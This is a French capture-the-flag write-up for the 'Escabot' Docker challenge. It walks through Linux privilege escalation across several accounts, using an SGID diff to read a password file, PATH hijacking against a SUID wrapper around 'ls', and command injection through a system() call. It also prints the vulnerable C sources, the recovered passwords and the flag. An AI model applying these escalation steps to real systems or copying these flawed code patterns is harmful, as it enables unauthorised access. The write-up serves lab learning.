Escabot
Flag: CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Marche3 -> Marche4
Dans l'énoncé on nous dit que le challenge se concentre sur les SUID et SGID. On commence par lister les commandes contenant des SGID :
marche3@f33b669a50b84175:~$ find / -type f -perm /2000 2>/dev/null | xargs ls -l
-rwxr-sr-x 1 root shadow 72184 Feb 6 2024 /usr/bin/chage
-rwxr-sr-x 1 root marche4 133680 Mar 23 2022 /usr/bin/diff
-rwxr-sr-x 1 root shadow 23136 Feb 6 2024 /usr/bin/expiry
-rwxr-sr-x 1 root _ssh 293304 Jun 26 13:11 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 22680 Jan 10 2024 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 26776 Jan 10 2024 /usr/sbin/unix_chkpwd
diff
fait partie du groupe marche4
et a le stickybit, on peut donc lancer la commande en tant que groupe marche4
.
marche3@f33b669a50b84175:~$ ll /home/marche4
total 52
drwxrwxr-x 1 marche4 marche4 4096 Nov 7 22:40 ./
drwxr-xr-x 1 root root 4096 Nov 7 22:40 ../
-rw-r--r-- 1 marche4 marche4 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marche4 marche4 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 marche4 marche4 807 Jan 6 2022 .profile
-r--r----- 1 marche4 marche4 30 Nov 7 22:40 'do not forgor'
-r-sr-x--- 1 marche5 marche4 16016 Nov 7 22:40 showfile*
-r-xr----- 1 marche4 marche4 185 Nov 7 22:35 showfile.c*
Le dossier de marche4
possède un fichier do not forgor
et le groupe marche4
peut le lire. On va donc lancer diff
dessus avec un fichier quelconque pour afficher son contenu :
marche3@f33b669a50b84175:~$ diff "/home/marche4/do not forgor" /dev/null
1d0
< YoCheckThatPasswordFormarche4
Mot de passe : YoCheckThatPasswordFormarche4
Marche4 -> Marche5
On peut lancer showfile
en tant que marche5
et on a accès au code de showfile
:
#include <unistd.h>
#include <stdio.h>
int main(int argc, char** argv, char** envp) {
char *args[] = {"ls", "-l", "-a", argv[1], NULL};
execvpe(args[0], args, envp);
return 0;
}
La commande ls
n'est pas utilisée avec un chemin absolu, on peut alors la remplacer par une autre commande en mettant son chemin avant tous les autre dans PATH
.
Les arguments -l
et -a
empêche d'utiliser cat
, more
, head
, etc... Mais on peut quand même leak le contenu du fichier avec des commandes commande nano
, sh
ou encore less
:
marche4@f33b669a50b84175:~$ cp /bin/sh /tmp/ls
marche4@f33b669a50b84175:~$ ./showfile "/home/marche5/.password"
/home/marche5/.password: 1: JeezInsanePasswordFormarche5: not found
Mot de passe : JeezInsanePasswordFormarche5
Marche5 -> Marche6
Encore une fois, on a un fichier avec un SUID de marche6 :
marche5@f33b669a50b84175:~$ ll
total 52
drwxr-x--- 1 marche5 marche5 4096 Nov 7 22:40 ./
drwxr-xr-x 1 root root 4096 Nov 7 22:40 ../
-rw-r--r-- 1 marche5 marche5 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marche5 marche5 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 marche5 marche5 29 Nov 7 22:40 .password
-rw-r--r-- 1 marche5 marche5 807 Jan 6 2022 .profile
-r-sr-x--x 1 marche6 marche5 16144 Nov 7 22:40 tree*
-r-xr----- 1 marche5 marche5 237 Nov 7 22:35 tree.c*
Son code :
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv, char** envp) {
setreuid(geteuid(), geteuid());
char command[32] = "/bin/tree ";
strcat(command, argv[1]);
system(command);
return 0;
}
Ici, le chemin de la commande est bien absolu, mais on peut injecter en chaînant une seconde commande tant que le tout fait moins de 32 caractères :
marche5@f33b669a50b84175:~$ ./tree "../marche6"
../marche6
|-- flag.txt
`-- myapp
|-- app
|-- config
`-- logs
|-- 2017-06-18T07:56:47
|-- 2017-06-19T08:35:12
`-- 2017-06-22T03:22:44
2 directories, 6 files
marche5@f33b669a50b84175:~$ ./tree ".;cat ../marche6/flag.txt"
.
|-- tree
`-- tree.c
0 directories, 2 files
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}
Dernière mise à jour
Cet article vous a-t-il été utile ?